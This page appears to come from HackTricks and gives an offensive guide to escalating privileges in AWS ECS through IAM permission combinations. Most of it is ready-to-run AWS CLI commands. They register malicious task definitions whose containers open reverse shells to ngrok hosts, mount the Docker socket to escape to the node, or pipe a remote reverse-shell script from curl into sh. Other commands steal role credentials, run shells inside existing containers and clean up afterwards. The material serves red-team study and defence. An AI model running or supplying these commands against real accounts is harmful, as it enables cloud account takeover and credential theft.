AWS - ECS Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

ECS

More info about ECS in:

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

An attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition and ecs:RunTask permission in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --requires-compatibilities "[\"FARGATE\"]" \
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
    --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
    --launch-type FARGATE \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Direct privesc to a different ECS role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Just like in the previous example an attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask permissions in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it. However, in this case, a container instance to run the malicious task definition need to be.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
    --container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Direct privesc to any ECS role.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Just like in the previous example an attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService or ecs:CreateService permissions in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it by creating a new service with at least 1 task running.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
    --task-role-arn  "$ECS_ROLE_ARN" \
    --network-mode "awsvpc" \
    --cpu 256 --memory 512\
    --requires-compatibilities "[\"FARGATE\"]" \
    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
    --task-definition iam_exfiltration \
    --desired-count 1 \
    --cluster "$CLUSTER_ARN" \
    --launch-type FARGATE \
    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
    --service <SERVICE NAME> \
    --task-definition <NEW TASK DEFINITION NAME>

Potential Impact: Direct privesc to any ECS role.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

This scenario is like the previous ones but without the iam:PassRole permission. This is still interesting because if you can run an arbitrary container, even if it's without a role, you could run a privileged container to escape to the node and steal the EC2 IAM role and the other ECS containers roles running in the node. You could even force other tasks to run inside the EC2 instance you compromise to steal their credentials (as discussed in the Privesc to node section).

This attack is only possible if the ECS cluster is using EC2 instances and not Fargate.

printf '[
    {
        "name":"exfil_creds",
        "image":"python:latest",
        "entryPoint":["sh", "-c"],
        "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
        "mountPoints": [
            {
                "readOnly": false,
                "containerPath": "/var/run/docker.sock",
                "sourceVolume": "docker-socket"
            }
        ]
    }
]' > /tmp/task.json

printf '[
    {
        "name": "docker-socket",
        "host": {
            "sourcePath": "/var/run/docker.sock"
        }
    }
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
    --cpu 256 --memory 512 \
    --requires-compatibilities '["EC2"]' \
    --container-definitions file:///tmp/task.json \
    --volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
    --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
    --launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

An attacker with the ecs:ExecuteCommand, ecs:DescribeTasks can execute commands inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run aws ecs execute-command). However, in order to do that, the container instance need to be running the ExecuteCommand agent (which by default isn't).

Therefore, the attacker cloud try to:

  • Try to run a command in every running container

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
   echo "Cluster $cluster"
   for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
      echo "  Task $task"
      # If true, it's your lucky day
      aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
   done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
   --command "sh" \
   --cluster "$CLUSTER_ARN" \
   --task "$TASK_ARN"
  • If he has ecs:RunTask, run a task with aws ecs run-task --enable-execute-command [...]

  • If he has ecs:StartTask, run a task with aws ecs start-task --enable-execute-command [...]

  • If he has ecs:CreateService, create a service with aws ecs create-service --enable-execute-command [...]

  • If he has ecs:UpdateService, update a service with aws ecs update-service --enable-execute-command [...]

You can find examples of those options in previous ECS privesc sections.

Potential Impact: Privesc to a different role attached to containers.

ssm:StartSession

Check in the ssm privesc page how you can abuse this permission to privesc to ECS:

iam:PassRole, ec2:RunInstances

Check in the ec2 privesc page how you can abuse these permissions to privesc to ECS:

?ecs:RegisterContainerInstance

TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Test this

An attacker with the permissions ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, and ecs:DescribeTaskSets can create a malicious task set for an existing ECS service and update the primary task set. This allows the attacker to execute arbitrary code within the service.

bashCopy code# Register a task definition with a reverse shell
echo '{
  "family": "malicious-task",
  "containerDefinitions": [
    {
      "name": "malicious-container",
      "image": "alpine",
      "command": [
        "sh",
        "-c",
        "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
      ]
    }
  ]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potential Impact: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated